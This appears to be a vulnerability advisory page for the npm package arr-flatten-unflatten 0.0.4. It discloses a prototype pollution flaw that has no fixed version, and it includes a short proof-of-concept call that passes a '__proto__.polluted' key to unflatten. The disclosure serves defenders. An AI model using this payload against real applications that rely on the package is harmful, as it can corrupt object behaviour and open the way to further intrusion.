arr-flatten-unflatten@0.0.4 vulnerabilities

non-recursive method of flattening an array or arrays and unflattening the result

Direct Vulnerabilities

Known vulnerabilities in the arr-flatten-unflatten package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

arr-flatten-unflatten is a non-recursive method of flattening an array or arrays and unflattening the result

Affected versions of this package are vulnerable to Prototype Pollution via the constructor.

POC:

const { unflatten } = require('arr-flatten-unflatten');
unflatten({'__proto__.polluted':true});
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for arr-flatten-unflatten.

*